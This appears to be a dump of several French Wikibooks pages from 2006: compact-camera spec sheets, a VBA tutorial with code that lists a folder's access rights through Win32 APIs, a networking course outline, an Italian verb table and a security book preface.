BenQ DC E600 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>ultra-compact •&nbsp;<font color=grey>Capteur : </font>6 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom Pentax 5,8-17,4 f/2,8-4,8 •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>ACL de 6,4 cm de diagonale •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 2 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>92x60x2405 mm •&nbsp;<font color=grey>Poids : </font>135 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>230 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} Photographie - 40 - Casio 8525 43934 2006-06-06T00:14:39Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Images en réserve == <gallery> Image:Casio Exilim EX-S2 back.jpg Image:Casio Exilim EX-M2 and EX-S2 front.jpg Image:Casio Exilim EX-M2.jpg Image:Casio Exilim EX-S2.jpg Image:Casio Exilim EX-S1 and EX-S600.jpg </gallery> == Appareils compacts numériques == === Casio Exilim EX-Z5 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>photoscope stabilisé •&nbsp;<font color=grey>Capteur : </font>5 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom 6,3-18,9 mm f/3,1-5,9 à 6 lentilles en 5 groupes •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL 6,4 cm 115 200 px •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>mini 40 cm - macro 10 cm •&nbsp;<font color=grey>Obturateur : </font>de 1/2 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>programmée avec mesure multizone •&nbsp;<font color=grey>Correction d'exposition : </font>+/- 2 IL par 1/3 IL •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>oui •&nbsp;<font color=grey>Connexions : </font>USB 2 •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>batterie Li-ion NP-20 •&nbsp;<font color=grey>Dimensions : </font>96x61x20 mm •&nbsp;<font color=grey>Poids : </font>118 g nu •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} Photographie - 40 - Sony 8526 43933 2006-06-06T00:14:23Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Appareils numériques compacts == === Sony DSC-T9 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>photoscope ultracompact stabilisé •&nbsp;<font color=grey>Capteur : </font>6 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>58 MO •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom Carl Zeiss Vario-Tessar de 6,33-19 mm f/3,5-4,3 •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>non •&nbsp;<font color=grey>Écran : </font>ACL de 6,4 cm, 230 000 pixels •&nbsp;<font color=grey>Modes : </font>10 modes scènes •&nbsp;<font color=grey>Mise au point : </font>minimale 50 cm, en macro 8 cm •&nbsp;<font color=grey>Obturateur : </font>de 1/4 s à 1/1000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>mesure multizone, centrée et spot •&nbsp;<font color=grey>Correction d'exposition : </font>+/- 2 IL par incréments de 1/3 d'IL •&nbsp;<font color=grey>Sensibilité du capteur : </font>auto et 80, 100, 200, 400 et 640 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>USB 2 •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>90x55x21 mm •&nbsp;<font color=grey>Poids : </font>160 g avec sangle de poignet et batterie •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>480 € •&nbsp;<font color=grey>Remarques : </font>deux coloris, "silver" et noir |- |} Programmation VBA 8527 43942 2006-06-06T07:28:03Z 82.127.45.211 width 40% {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" | {| width="100%" bgcolor="lightblue" |- | bgcolor="lightblue" valign="middle" width="90%" align="center" | <font size="+1">Programmation VBA : ''Visual Basic for Application''</font> ''un livre appartenant à la série [[Programmation]] du [[Wikiversité:Département informatique|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" | width="40%" | {{Sous section|nom=Programmation VBA/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Programmation VBA/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_VBA&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_VBA&action=purge '''Rafraîchir la page'''] |- |} |- |} __NOEDITSECTION__ [[nl:Programmeren in VB/VBA]] Programmation VBA/Sommaire 8528 43946 2006-06-06T07:34:41Z Boly38 136 /* Sommaire */ 00=>75% Exemple N ==Sommaire== {{ÉtatDesWikilivres}} *[[Programmation VBA/Introduction|Introduction]] {{00}} *[[Programmation VBA/Bases du langage|Bases du langage]] {{00}} **[[Programmation VBA/Premier programme|Premier programme (Hello World!)]] {{00}} **[[Programmation VBA/Variables|Les variables]] {{00}} **[[Programmation VBA/Constantes|Les Constantes]] {{00}} **[[Programmation VBA/Opérateurs|Opérateurs]] {{00}} **[[Programmation VBA/Mots clefs réservés|Mots clefs réservés]] {{00}} **[[Programmation VBA/Structures de contrôle|Les structures de contrôle]] {{00}} **[[Programmation VBA/Bases de données|Les bases de données]] {{00}} * '''Apprendre par l'exemple : ''' ** Leçon n° 1 : [[Programmation VBA/Exemples/Premier programme|Premier programme en vba]] {{00}} ** Leçon n° X : [[Programmation VBA/Exemples/Gestion des droits et répertoires|Gestion des droits et répertoires]] {{75}} Programmation VBA/Informations 8529 43941 2006-06-06T07:26:10Z 82.127.45.211 présentation depuis WPédia ==Informations== '''Visual Basic for Applications''' (VBA) est une implémentation de Microsoft Visual Basic qui est intégrée dans toutes les applications de Microsoft Office, dans quelques autres applications Microsoft comme Visio et au moins partiellement dans quelques autres applications comme AutoCAD et WordPerfect. Il remplace et étend les capacités des langages macro spécifiques aux plus anciennes applications comme le langage WordBasic intégré à une ancienne version du logiciel Word, et peut être utilisé pour contrôler la quasi-totalité de l'IHM des applications hôtes, ce qui inclut la possibilité de manipuler les fonctionnalités de l'interface utilisateur comme les menus, les barres d'outils et le fait de pouvoir personnaliser les boîtes de dialogue et les formulaires utilisateurs. Programmation VBA/Exemples/Gestion des droits et répertoires 8530 44013 2006-06-06T10:06:21Z Boly38 136 +description Cet article explique comment, à l'aide des interfaces de programmation de windows (''API Win32''), il est possible de '''lire chaque entrée de la liste de contrôle d'accès (une ACE - Access Control Entry - de l'ACL - Access Control List) d'un répertoire local ou distant''' avec [[Programmation VBA|VBA]]. Autrement dit, pour un répertoire donné, on affiche chaque utilisateur (ou groupe, ou alias) et les droits d'accès associés à cet utilisateur. ==Description== Dans cet exemple, plusieurs interfaces de programmation de Windows sont utilisées : * <code>GetFileSecurity (...) </code> : ''Récupère le descripteur de sécurité d'un fichier (ou répertoire).'' * <code>GetSecurityDescriptorDacl (...) </code> : ''Récupère le descripteur de la liste de contrôle d'accès.'' * <code>GetAclInformation (...) </code> : ''Récupère la liste de contrôle d'accès.'' * <code>GetAce (...) </code> : '' Récupère une entrée de la liste (un SID, et un drapeau représentant les droits.'' * <code>LookupAccountSid (..) </code> : '' Récupère un nom de domaine, de compte et type de compte (utilisateur, alias, groupe, ...) à partir d'un SID (identificateur système).'' Dans un premier temps on indique un répertoire (soit local : <code>c:\tmp</code> soit distant : <code>\\serveur1\partage1</code>). Ensuite on récupère pour ce répertoire, et à l'aide des API précédentes la liste de contrôle d'accès associée. Pour chaque entrée de la liste, on analyse le drapeau des droits, puis on récupère le nom du compte que l'on affiche avec une boîte de dialogue simple (message box). ==Déclarations préalables== {{Boîte déroulante|align=left|alignT=center|titre=ModuleVBA|contenu= <pre><nowiki> Public Const DACL_SECURITY_INFORMATION = &H4 Type Droit Nom As String Flag As Long End Type Public tabRights(21) As Droit ' Structures used by our API calls. ' Refer to the MSDN for more information on how/what these ' structures are used for. Type ACE_HEADER AceType As Byte '1 AceFlags As Byte '1 AceSize As Integer '2 End Type Public Type ACCESS_DENIED_ACE Header As ACE_HEADER Mask As Long '4 SidStart As Long End Type Type ACCESS_ALLOWED_ACE Header As ACE_HEADER Mask As Long SidStart As Long End Type Type ACL_SIZE_INFORMATION AceCount As Long AclBytesInUse As Long AclBytesFree As Long End Type '' API calls used within this sample. Refer to the MSDN for more '' information on how/what these APIs do. ' 'Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long 'Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long 'Declare Function LookupAccountName Lib "advapi32.dll" Alias "LookupAccountNameA" (lpSystemName As String, ByVal lpAccountName As String, Sid As Any, cbSid As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long 'Declare Function InitializeSecurityDescriptor Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal dwRevision As Long) As Long Declare Function GetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As Byte, lpbDaclPresent As Long, pDacl As Long, lpbDaclDefaulted As Long) As Long Declare Function GetFileSecurityN Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, ByVal pSecurityDescriptor As Long, ByVal nLength As Long, lpnLengthNeeded As Long) As Long Declare Function GetFileSecurity Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, pSecurityDescriptor As Byte, ByVal nLength As Long, lpnLengthNeeded As Long) As Long Declare Function GetAclInformation Lib "advapi32.dll" (ByVal pAcl As Long, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Long) As Long 'Public Declare Function EqualSid Lib "advapi32.dll" (pSid1 As Byte, ByVal pSid2 As Long) As Long 'Declare Function GetLengthSid Lib "advapi32.dll" (pSID As Any) As Long 'Declare Function InitializeAcl Lib "advapi32.dll" (pAcl As Byte, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long Declare Function GetAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceIndex As Long, pace As Any) As Long 'Declare Function AddAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, ByVal pAceList As Long, ByVal nAceListLength As Long) As Long 'Declare Function AddAccessAllowedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSID As Byte) As Long 'Public Declare Function AddAccessDeniedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSID As Byte) As Long 'Declare Function SetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal bDaclPresent As Long, pDacl As Byte, ByVal bDaclDefaulted As Long) As Long 'Declare Function SetFileSecurity Lib "advapi32.dll" Alias "SetFileSecurityA" (ByVal lpFileName As String, ByVal SecurityInformation As Long, pSecurityDescriptor As SECURITY_DESCRIPTOR) As Long Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long) 'Declare Function GetSecurityDescriptorOwner Lib "advapi32.dll" (pSecurityDescriptor As Any, pOwner As Long, lpbOwnerDefaulted As Long) As Long Declare Function LookupAccountSid Lib "advapi32.dll" Alias "LookupAccountSidA" (ByVal lpSystemName As String, ByVal Sid As Long, ByVal name As String, cbName As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long 'Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long </nowiki></pre> }} ==Fonction GetFolderInfo== {{Boîte déroulante|align=left|alignT=center|titre=GetFolderInfo|contenu= <pre><nowiki> Public Sub GetFolderInfo(sFolderName As String) Dim lResult As Long ' Result of various API calls. Dim I As Integer ' Used in looping. Dim bSDBuf() As Byte ' Buffer that holds the security Dim lSizeNeeded As Long ' Size needed for SD for file. Dim lDaclPresent As Long ' Used in grabbing the DACL from Dim lDaclDefaulted As Long ' Used in grabbing the DACL from Dim sACLInfo As ACL_SIZE_INFORMATION ' Used in grabbing the ACL Dim sCurrentACE As ACCESS_ALLOWED_ACE ' Current ACE. Dim pCurrentAce As Long ' Our current ACE. Dim lMask As Long Dim pSID As Long Dim bSuccess As Variant ' Status variable Dim sAccName As String ' Name of the file owner Dim lAccName As Long Dim sDomName As String ' Name of the first domain for the owner Dim lDomName As Long Dim peUse As Long Dim peLbl As String Dim droits As String Dim lNbCar As Long Dim R tabRights(0).Nom = "ACCESS_READ" tabRights(0).Flag = &H1 tabRights(1).Nom = "ACCESS_WRITE" tabRights(1).Flag = &H2 tabRights(2).Nom = "ACCESS_CREATE" tabRights(2).Flag = &H4 tabRights(3).Nom = "ACCESS_EXEC" tabRights(3).Flag = &H8 tabRights(4).Nom = "ACCESS_DELETE" tabRights(4).Flag = &H10 tabRights(5).Nom = "ACCESS_ATTRIB" tabRights(5).Flag = &H20 tabRights(6).Nom = "ACCESS_PERM" tabRights(6).Flag = &H40 tabRights(7).Nom = "ACCESS_GROUP" tabRights(7).Flag = 32768 ' &H8000 tabRights(8).Nom = "DELETE" tabRights(8).Flag = &H10000 tabRights(9).Nom = "READ_CONTROL" tabRights(9).Flag = &H20000 tabRights(10).Nom = "WRITE_DAC" tabRights(10).Flag = &H40000 tabRights(11).Nom = "WRITE_OWNER" tabRights(11).Flag = &H80000 tabRights(12).Nom = "SYNCHRONIZE" tabRights(12).Flag = &H100000 tabRights(13).Nom = "ACCESS_SYSTEM_SECURITY" tabRights(13).Flag = &H1000000 tabRights(14).Nom = "MAXIMUM_ALLOWED" tabRights(14).Flag = &H2000000 tabRights(15).Nom = "GENERIC_ALL" tabRights(15).Flag = &H10000000 tabRights(16).Nom = "GENERIC_EXECUTE" tabRights(16).Flag = &H20000000 tabRights(17).Nom = "GENERIC_WRITE" tabRights(17).Flag = &H40000000 tabRights(18).Nom = "SPECIFIC_RIGHTS_ALL" tabRights(18).Flag = 65535 ' &HFFFF tabRights(19).Nom = "STANDARD_RIGHTS_REQUIRED" tabRights(19).Flag = &HF0000 tabRights(19).Nom = "STANDARD_RIGHTS_ALL" tabRights(19).Flag = &H1F0000 lResult = GetFileSecurityN(sFolderName, DACL_SECURITY_INFORMATION, _ 0, 0, lSizeNeeded) ' Redimension the Security Descriptor buffer to the proper size. ReDim bSDBuf(lSizeNeeded) ' Now get the actual Security Descriptor for the file. lResult = GetFileSecurity(sFolderName, DACL_SECURITY_INFORMATION, _ bSDBuf(0), lSizeNeeded, lSizeNeeded) ' A return code of zero means the call failed; test for this ' before continuing. If (lResult = 0) Then MsgBox "Error: Unable to Get the File Security Descriptor for " & sFileName Exit Sub Else MsgBox "Success: Ok Getting the File Security Descriptor" ' You now have the file's SD and a new Security Descriptor ' that will replace the current one. Next, pull the DACL from ' the SD. To do so, call the GetSecurityDescriptorDacl API ' function. lResult = GetSecurityDescriptorDacl(bSDBuf(0), lDaclPresent, _ pAcl, lDaclDefaulted) ' A return code of zero means the call failed; test for this ' before continuing. If (lResult = 0) Then MsgBox "Error: Unable to Get DACL from File Security " _ & "Descriptor" Exit Sub End If ' You have the file's SD, and want to now pull the ACL from the ' SD. To do so, call the GetACLInformation API function. ' See if ACL exists for this file before getting the ACL ' information. If (lDaclPresent = False) Then MsgBox "Error: No ACL Information Available for this File" Exit Sub End If ' Attempt to get the ACL from the file's Security Descriptor. lResult = GetAclInformation(pAcl, sACLInfo, Len(sACLInfo), 2&) ' A return code of zero means the call failed; test for this ' before continuing. If (lResult = 0) Then MsgBox "Error: Unable to Get ACL from File Security Descriptor" Exit Sub End If For I = 0 To (sACLInfo.AceCount - 1) ' Attempt to grab the next ACE. lResult = GetAce(pAcl, I, pCurrentAce) ' Make sure you have the current ACE under question. If (lResult = 0) Then MsgBox "Error: Unable to Obtain ACE (" & I & ")" Exit Sub End If CopyMemory sCurrentACE, pCurrentAce, LenB(sCurrentACE) lNbCar = 128 sAccName = Space(lNbCar) sDomName = Space(lNbCar) lAccName = lNbCar lDomName = lNbCar pSID = pCurrentAce + 8 ' sCurrentACE.SidStart lMask = sCurrentACE.Mask ' MsgBox "ACE" _ ' & Chr(13) & Chr(10) & "(Header) AceFlags: " & sCurrentACE.Header.AceFlags _ ' & Chr(13) & Chr(10) & "(Header) ACE size: " & sCurrentACE.Header.AceSize _ ' & Chr(13) & Chr(10) & "(Header) ACE type: " & sCurrentACE.Header.AceType _ ' & Chr(13) & Chr(10) & "MASK : " & lMask _ ' & Chr(13) & Chr(10) & "SIDSTART : " & pSID bSuccess = LookupAccountSid(vbNullString, pSID, sAccName, lAccName, sDomName, lDomName, peUse) Select Case peUse Case 1: peLbl = "User" Case 2: peLbl = "Group" Case 3: peLbl = "Domain" Case 4: peLbl = "Alias" Case 5: peLbl = "WellKnownGroup" Case 6: peLbl = "DeletedAccount" Case 7: peLbl = "Invalid" Case Else: peLbl = "Unknown" End Select droits = "" For R = 0 To 19 Dim hMaskComp hMaskComp = &H0 hMaskComp = (lMask And tabRights(R).Flag) If (hMaskComp = tabRights(R).Flag) Then droits = droits & "-" & tabRights(R).Nom & Chr(10) & Chr(13) Next R If (bSuccess = 0) Then MsgBox ("ERROR : unable to LookupAccountSid " & Chr(13) & Chr(10) & "SID " & pSID) Else MsgBox ("(Header) AceFlags: " & sCurrentACE.Header.AceFlags _ & Chr(13) & Chr(10) & "(Header) ACE size: " & sCurrentACE.Header.AceSize _ & Chr(13) & Chr(10) & "(Header) ACE type: " & sCurrentACE.Header.AceType _ & Chr(13) & Chr(10) & "MASK : " & lMask _ & Chr(13) & Chr(10) & "SIDSTART : " & pSID _ & Chr(13) & Chr(10) & "---------------" & Chr(13) & Chr(10) & _ "DOMAIN :" & Left(sDomName, lDomName) & Chr(13) & Chr(10) & _ "USER :" & Left(sAccName, lAccName) & Chr(13) & Chr(10) & _ "TYPE :" & peLbl & Chr(13) & Chr(10) & _ "RIGHTS :" & droits) End If Next I End If End Sub </nowiki></pre> }} NB: Pour sélectionner un répertoire, il est possible d'utiliser l'exemple suivant : [http://www.mvps.org/access/api/api0002.htm mvps.org] ==Liens externes== * [http://www.allapi.net/apilist/9C3BBC69930313A7D25B3142EF2C084B.html www.allapi.net] et [http://www.tek-tips.com/viewthread.cfm?qid=460090 www.tek-tips.com] ''Codes sources utilisés comme bases pour la réalisation de cet exemple] Wikimodule:Introduction aux réseaux/Programme 8533 44585 2006-06-15T13:54:29Z Carnops 1287 /* Introduction aux éléments composant un réseau */ {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} == Introduction à la communication en réseau== Ce chapitre amènera l'étudiant à découvrir les réseaux par une approche historique du sujet. Il constitue une introduction au chapitre suivant, visant à en faciliter la compréhension. == Modèles de conception TCP/IP et OSI== Les modèles de conception par couche permettent d'avoir une vision ordonnée, hiérarchique et rationnelle des réseaux. La connaissance de ces deux modèles permet d'avoir une méthode d'analyse concrète. Le modèle TCP/IP permet d'avoir une vision simplifiée du réseau, alors que le modèle OSI offre une approche plus précise et détaillée. L'étudiant devra être capable d'utiliser ces modèles et d'expliquer certains concepts liés à la conception par couches. == Notions de physique appliquée aux réseaux== Le but de ce chapitre est d'aborder les notions de signal: Electricité * Différence de potentiel * Résistance * Intensité Optique * Signal lumineux * Réflexion * Réfraction Ondes * Fréquence * Amplitude * Longueur * Types d'ondes * Bruit * Atténuation == Les différents types de médias utilisés== * Cuivre * Fibre optique * Ondes radios == Toplogies des réseaux== *Bus *Etoile *Etoile étendue *Maillage (Mesh) *Anneau (Token-Ring et FDDI) *Arbre == Notions élémentaires d'adressage IP== Ce chapitre aborde les principes de l'adressage IP. *Adressage *Masque de sous-réseau par défaut *Classificcation d'adresses *IPv4 *IPv6 *Bases de l'IP subnetting *Classless Inter-Domain Routing == Introduction aux éléments composant un réseau== * Routeur * Concentrateur (hub) * Commutateur (switch) * Pont (bridge) == Les réseaux d'entreprise== (Programme à compléter) Sécurité des systèmes informatiques 8536 45311 2006-06-21T09:54:49Z Greudin 1 [[Utilisateur:Rortalo/Sécurité informatique]] déplacé vers [[Sécurité des systèmes informatiques]]: Déplacé dans l'espace des livres {{Sécurité informatique}} {{En travaux}} Ce livre est issu de différents cours enseignés respectivement à l'INSA de Toulouse (depuis 2003) et à Supaéro (depuis 2005) par mes soins. Une première version au format PDF a été diffusée sur ma page personnelle, accompagnée du support de la présentation orale (les ''slides'') à l'adresse: http://rodolphe.ortalo.free.fr/ssi.html. [[Utilisateur:Rortalo|Rodolphe Ortalo]] Wikimodule:Introduction aux réseaux/Wikitudiants 8539 44102 2006-06-07T17:54:12Z Carnops 1287 Les étudiants désireux de suivre ce module doivent suivre les instruction de la page d'introduction au module [[Wikimodule:Introduction aux réseaux]] Vous pouvez ensuite inscrire votre pseudo ci-dessous. exemple : [[Utilisateur:Carnops|Carnops]] 2ième conjugaison - tenere (tenir) 8542 44099 2006-06-07T17:23:15Z 81.56.5.158 Présent : Futur : (io) tengo terro (tu) tieni terrai (egli) tiene terra (noi) teniamo terremo (voi) tenete terrete (essi) tengono terranno Wikimodule:Introduction aux réseaux/Ressources 8544 44482 2006-06-13T15:42:34Z Carnops 1287 {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} ====Modèles de conception TCP/IP et OSI==== [http://fr.wikipedia.org/wiki/TCP/IP| Modèle TCP/IP] [http://fr.wikipedia.org/wiki/Mod%C3%A8le_OSI| Modèle OSI] ====Notions de physique appliquée aux réseaux==== Le point 1 de cet article à un lien avec le cours : [http://fr.wikipedia.org/wiki/Electricit%C3%A9| Electricité] [http://fr.wikipedia.org/wiki/Onde| Ondes] Les points 1 à 3 font partie de ce cours : [http://fr.wikipedia.org/wiki/Bruit| Bruit] La diaphonie est un concept lié au bruit : [http://fr.wikipedia.org/wiki/Diaphonie| Diaphonie] [http://fr.wikipedia.org/wiki/Optique| Optique] ====Notions élémentaires d'adressage IP==== [http://fr.wikipedia.org/wiki/Adresse_IP| Adresse IP] ====Les réseaux d'entreprise==== [[Introduction_aux_r%C3%A9seaux/entreprise| Les réseaux d'entreprise]] Wikimodule:Introduction aux réseaux/Contenu 8545 46606 2006-06-30T11:15:26Z Carnops 1287 /* Semaine 4 */ {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} ==Contenu du module : Introduction aux réseaux== Le wikitudiant trouvera ici, semaine par semaine, le travail à accomplir. Libre à lui d'aller plus vite ou moins vite en fonction de son niveau et de ses disponibilités. Dès que le travail d'une semaine est terminé, le wikétudiant n'oubliera pas de remplir sa fiche de suivi du module. Pour bien comprendre ce module, il est recommandé de combiner l'étude théorique et la pratique, dans la mesure du possible. === Semaine 1 === #Lire [[Historique des réseaux]] === Semaine 2 === Faire le [[devoir 1]] === Semaine 3 === Lire l'article sur le modèle TCP/IP 